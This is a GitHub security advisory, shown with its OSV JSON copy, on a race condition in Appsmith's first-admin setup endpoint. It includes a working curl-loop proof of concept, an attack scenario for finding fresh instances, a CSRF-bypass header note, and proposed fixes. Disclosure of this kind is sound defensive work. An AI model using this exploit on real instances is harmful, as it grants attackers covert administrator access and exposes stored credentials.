GHSA-9WCP-79G5-5C3C
Vulnerability from github – Published: 2026-06-12 18:27 – Updated: 2026-06-12 18:27Summary
The /api/v1/users/super endpoint enforces a restriction that only one super user (Instance Administrator) can be created during initial setup. However, due to a Time-of-Check-Time-of-Use (TOCTOU) race condition in the signupAndLoginSuper() method, concurrent requests can bypass this restriction, allowing multiple unauthorized users to obtain Instance Administrator privileges.
Severity
- CWE: CWE-367 (Time-of-Check Time-of-Use Race Condition)
- CVSS 3.1: AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — 8.1 (HIGH)
Affected Version
- Appsmith Community Edition v1.97.0-SNAPSHOT (release branch)
- Docker image:
appsmith/appsmith-ce:release(pulled 2026-02-25) - Commit:
55ac824f8d42f934cc7a69f8abc52880a6ad39ef
Root Cause
The signupAndLoginSuper() method in UserSignupCEImpl.java (lines 270–295) performs a non-atomic check-then-act sequence:
// Step 1: CHECK — query MongoDB for existing users
userService.isUsersEmpty()
.flatMap(isEmpty -> {
if (!Boolean.TRUE.equals(isEmpty)) {
return Mono.error(new AppsmithException(AppsmithError.UNAUTHORIZED_ACCESS));
}
// Step 2: ACT — create user and grant admin (not atomic with Step 1)
return signupAndLogin(user, exchange);
})
.flatMap(user -> userUtils.makeInstanceAdministrator(List.of(user)));
The isUsersEmpty() method (CustomUserRepositoryCEImpl.java, lines 35–44) queries MongoDB without any locking mechanism:
public Mono<Boolean> isUsersEmpty() {
return queryBuilder()
.criteria(Bridge.or(
notExists(User.Fields.isSystemGenerated),
Bridge.isFalse(User.Fields.isSystemGenerated)))
.limit(1).all(IdOnly.class).count().map(count -> count == 0);
}
There is no @Transactional annotation, no distributed lock, and no MongoDB transaction wrapping the check-and-create sequence. In the reactive WebFlux environment, concurrent requests are processed in parallel, widening the race window significantly.
Proof of Concept
Environment Setup
# Start a fresh Appsmith instance
docker run -d --name appsmith-test -p 9090:80 appsmith/appsmith-ce:release
# Wait ~90 seconds for all services to initialize
Step 1: Verify Fresh State
curl -s http://localhost:9090/api/v1/users/me | python3 -m json.tool
# Expected: {"data": {"email": "anonymousUser", ...}}
Step 2: Send Concurrent Requests
for i in $(seq 1 10); do
curl -s -o /tmp/race_result_${i}.txt -w "%{http_code}" \
-X POST http://localhost:9090/api/v1/users/super \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "X-Requested-By: Appsmith" \
-d "email=racer${i}@evil.com&password=TestP4ssw0rd!&name=Racer${i}&allowCollectingAnonymousData=false" &
done
wait
# Check results
for i in $(seq 1 10); do
echo "racer${i}: $(cat /tmp/race_result_${i}.txt)"
done
Step 3: Verify in MongoDB
// Connect to MongoDB inside the container
// docker exec -it appsmith-test mongosh <connection_string>
// Count non-system users (expected: 1, actual: 10)
db.user.countDocuments({ isSystemGenerated: { $ne: true } })
// Check who has manage:users permission
db.user.find(
{ isSystemGenerated: { $ne: true } },
{ email: 1, "policies.permission": 1 }
).forEach(u => {
const hasManage = u.policies?.some(p => p.permission === "manage:users");
printjson({ email: u.email, manage_users: hasManage });
});
// Check Instance Administrator Role assignments
db.permissionGroup.findOne(
{ name: "Instance Administrator Role" },
{ assignedToUserIds: 1 }
);
Observed Results
| Metric | Expected | Actual |
|---|---|---|
| Users created | 1 | 10 |
Users with manage:users policy |
1 | 10 |
| Users in Instance Administrator Role | 1 | 2 |
All 10 concurrent requests returned HTTP 302 (success redirect), bypassing the single-user restriction.
Impact
-
Authorization Bypass: The one-admin-only restriction is completely defeated by concurrent requests.
-
Persistent Backdoor: The attacker's admin account persists alongside the legitimate administrator. The legitimate admin has no indication that another admin exists unless they manually inspect the user list.
-
Full Instance Compromise: Instance Administrator privileges grant:
- User management (create, delete, modify all users)
- Access to all datasource credentials (database passwords, API keys)
- Modification of all applications and their server-side logic
- Environment configuration (SMTP, OAuth, encryption settings)
Attack Scenario
- Attacker monitors for newly deployed Appsmith instances (e.g., via Shodan, Censys, or internal network scanning).
- Attacker polls
GET /api/v1/users/me— if the response contains"email": "anonymousUser", the instance has not been set up yet. - Attacker sends multiple concurrent
POST /api/v1/users/superrequests. - Legitimate administrator completes setup normally, unaware that an attacker account also received Instance Administrator privileges.
- Attacker now has persistent, full administrative access to the instance.
Suggested Fix
Option A: MongoDB Transaction (Recommended)
Wrap the check-and-create in a MongoDB transaction to ensure atomicity:
public Mono<User> signupAndLoginSuper(...) {
return reactiveMongoTemplate.inTransaction().execute(session -> {
return userService.isUsersEmpty()
.flatMap(isEmpty -> {
if (!Boolean.TRUE.equals(isEmpty)) {
return Mono.error(new AppsmithException(
AppsmithError.UNAUTHORIZED_ACCESS));
}
return signupAndLogin(user, exchange);
});
}).single()
.flatMap(user -> userUtils.makeInstanceAdministrator(List.of(user)));
}
Option B: Distributed Lock
Use Redis (already available in Appsmith's stack) to acquire an exclusive lock:
public Mono<User> signupAndLoginSuper(...) {
return redisLockService.acquireLock("super-user-setup", Duration.ofSeconds(10))
.flatMap(lock -> userService.isUsersEmpty()
.flatMap(isEmpty -> {
if (!Boolean.TRUE.equals(isEmpty)) {
return Mono.error(...);
}
return signupAndLogin(user, exchange);
})
.doFinally(signal -> lock.release()));
}
Option C: Unique Constraint
Add a MongoDB unique partial index that prevents more than one super admin:
db.user.createIndex(
{ "isSuperAdmin": 1 },
{ unique: true, partialFilterExpression: { "isSuperAdmin": true } }
);
CSRF Note
The POST /api/v1/users/super endpoint accepts application/x-www-form-urlencoded content type. CSRF protection can be bypassed by including the X-Requested-By: Appsmith header (CsrfConfigCE.java, lines 99–102), which is a static, publicly known value.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c 1.99.0"
},
"package": {
"ecosystem": "Maven",
"name": "com.appsmith:server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.99"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-12T18:27:53Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe `/api/v1/users/super` endpoint enforces a restriction that only one super user (Instance Administrator) can be created during initial setup. However, due to a Time-of-Check-Time-of-Use (TOCTOU) race condition in the `signupAndLoginSuper()` method, concurrent requests can bypass this restriction, allowing multiple unauthorized users to obtain Instance Administrator privileges.\n\n## Severity\n\n- **CWE**: CWE-367 (Time-of-Check Time-of-Use Race Condition)\n- **CVSS 3.1**: AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H \u2014 **8.1 (HIGH)**\n\n## Affected Version\n\n- Appsmith Community Edition v1.97.0-SNAPSHOT (release branch)\n- Docker image: `appsmith/appsmith-ce:release` (pulled 2026-02-25)\n- Commit: `55ac824f8d42f934cc7a69f8abc52880a6ad39ef`\n\n## Root Cause\n\nThe `signupAndLoginSuper()` method in `UserSignupCEImpl.java` (lines 270\u2013295) performs a non-atomic check-then-act sequence:\n\n```java\n// Step 1: CHECK \u2014 query MongoDB for existing users\nuserService.isUsersEmpty()\n .flatMap(isEmpty -\u003e {\n if (!Boolean.TRUE.equals(isEmpty)) {\n return Mono.error(new AppsmithException(AppsmithError.UNAUTHORIZED_ACCESS));\n }\n // Step 2: ACT \u2014 create user and grant admin (not atomic with Step 1)\n return signupAndLogin(user, exchange);\n })\n .flatMap(user -\u003e userUtils.makeInstanceAdministrator(List.of(user)));\n```\n\nThe `isUsersEmpty()` method (`CustomUserRepositoryCEImpl.java`, lines 35\u201344) queries MongoDB without any locking mechanism:\n\n```java\npublic Mono\u003cBoolean\u003e isUsersEmpty() {\n return queryBuilder()\n .criteria(Bridge.or(\n notExists(User.Fields.isSystemGenerated),\n Bridge.isFalse(User.Fields.isSystemGenerated)))\n .limit(1).all(IdOnly.class).count().map(count -\u003e count == 0);\n}\n```\n\nThere is no `@Transactional` annotation, no distributed lock, and no MongoDB transaction wrapping the check-and-create sequence. In the reactive WebFlux environment, concurrent requests are processed in parallel, widening the race window significantly.\n\n## Proof of Concept\n\n### Environment Setup\n\n```bash\n# Start a fresh Appsmith instance\ndocker run -d --name appsmith-test -p 9090:80 appsmith/appsmith-ce:release\n# Wait ~90 seconds for all services to initialize\n```\n\n### Step 1: Verify Fresh State\n\n```bash\ncurl -s http://localhost:9090/api/v1/users/me | python3 -m json.tool\n# Expected: {\"data\": {\"email\": \"anonymousUser\", ...}}\n```\n\n### Step 2: Send Concurrent Requests\n\n```bash\nfor i in $(seq 1 10); do\n curl -s -o /tmp/race_result_${i}.txt -w \"%{http_code}\" \\\n -X POST http://localhost:9090/api/v1/users/super \\\n -H \"Content-Type: application/x-www-form-urlencoded\" \\\n -H \"X-Requested-By: Appsmith\" \\\n -d \"email=racer${i}@evil.com\u0026password=TestP4ssw0rd!\u0026name=Racer${i}\u0026allowCollectingAnonymousData=false\" \u0026\ndone\nwait\n\n# Check results\nfor i in $(seq 1 10); do\n echo \"racer${i}: $(cat /tmp/race_result_${i}.txt)\"\ndone\n```\n\n### Step 3: Verify in MongoDB\n\n```javascript\n// Connect to MongoDB inside the container\n// docker exec -it appsmith-test mongosh \u003cconnection_string\u003e\n\n// Count non-system users (expected: 1, actual: 10)\ndb.user.countDocuments({ isSystemGenerated: { $ne: true } })\n\n// Check who has manage:users permission\ndb.user.find(\n { isSystemGenerated: { $ne: true } },\n { email: 1, \"policies.permission\": 1 }\n).forEach(u =\u003e {\n const hasManage = u.policies?.some(p =\u003e p.permission === \"manage:users\");\n printjson({ email: u.email, manage_users: hasManage });\n});\n\n// Check Instance Administrator Role assignments\ndb.permissionGroup.findOne(\n { name: \"Instance Administrator Role\" },\n { assignedToUserIds: 1 }\n);\n```\n\n### Observed Results\n\n| Metric | Expected | Actual |\n|--------|----------|--------|\n| Users created | 1 | **10** |\n| Users with `manage:users` policy | 1 | **10** |\n| Users in Instance Administrator Role | 1 | **2** |\n\nAll 10 concurrent requests returned HTTP 302 (success redirect), bypassing the single-user restriction.\n\n## Impact\n\n1. **Authorization Bypass**: The one-admin-only restriction is completely defeated by concurrent requests.\n\n2. **Persistent Backdoor**: The attacker\u0027s admin account persists alongside the legitimate administrator. The legitimate admin has no indication that another admin exists unless they manually inspect the user list.\n\n3. **Full Instance Compromise**: Instance Administrator privileges grant:\n - User management (create, delete, modify all users)\n - Access to all datasource credentials (database passwords, API keys)\n - Modification of all applications and their server-side logic\n - Environment configuration (SMTP, OAuth, encryption settings)\n\n## Attack Scenario\n\n1. Attacker monitors for newly deployed Appsmith instances (e.g., via Shodan, Censys, or internal network scanning).\n2. Attacker polls `GET /api/v1/users/me` \u2014 if the response contains `\"email\": \"anonymousUser\"`, the instance has not been set up yet.\n3. Attacker sends multiple concurrent `POST /api/v1/users/super` requests.\n4. Legitimate administrator completes setup normally, unaware that an attacker account also received Instance Administrator privileges.\n5. Attacker now has persistent, full administrative access to the instance.\n\n## Suggested Fix\n\n### Option A: MongoDB Transaction (Recommended)\n\nWrap the check-and-create in a MongoDB transaction to ensure atomicity:\n\n```java\npublic Mono\u003cUser\u003e signupAndLoginSuper(...) {\n return reactiveMongoTemplate.inTransaction().execute(session -\u003e {\n return userService.isUsersEmpty()\n .flatMap(isEmpty -\u003e {\n if (!Boolean.TRUE.equals(isEmpty)) {\n return Mono.error(new AppsmithException(\n AppsmithError.UNAUTHORIZED_ACCESS));\n }\n return signupAndLogin(user, exchange);\n });\n }).single()\n .flatMap(user -\u003e userUtils.makeInstanceAdministrator(List.of(user)));\n}\n```\n\n### Option B: Distributed Lock\n\nUse Redis (already available in Appsmith\u0027s stack) to acquire an exclusive lock:\n\n```java\npublic Mono\u003cUser\u003e signupAndLoginSuper(...) {\n return redisLockService.acquireLock(\"super-user-setup\", Duration.ofSeconds(10))\n .flatMap(lock -\u003e userService.isUsersEmpty()\n .flatMap(isEmpty -\u003e {\n if (!Boolean.TRUE.equals(isEmpty)) {\n return Mono.error(...);\n }\n return signupAndLogin(user, exchange);\n })\n .doFinally(signal -\u003e lock.release()));\n}\n```\n\n### Option C: Unique Constraint\n\nAdd a MongoDB unique partial index that prevents more than one super admin:\n\n```javascript\ndb.user.createIndex(\n { \"isSuperAdmin\": 1 },\n { unique: true, partialFilterExpression: { \"isSuperAdmin\": true } }\n);\n```\n\n## CSRF Note\n\nThe `POST /api/v1/users/super` endpoint accepts `application/x-www-form-urlencoded` content type. CSRF protection can be bypassed by including the `X-Requested-By: Appsmith` header (`CsrfConfigCE.java`, lines 99\u2013102), which is a static, publicly known value.",
"id": "GHSA-9wcp-79g5-5c3c",
"modified": "2026-06-12T18:27:53Z",
"published": "2026-06-12T18:27:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/appsmithorg/appsmith/security/advisories/GHSA-9wcp-79g5-5c3c"
},
{
"type": "PACKAGE",
"url": "https://github.com/appsmithorg/appsmith"
},
{
"type": "WEB",
"url": "https://github.com/appsmithorg/appsmith/releases/tag/v1.99"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Appsmith Super User Creation Race Condition Allows Multiple Instance Administrators"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.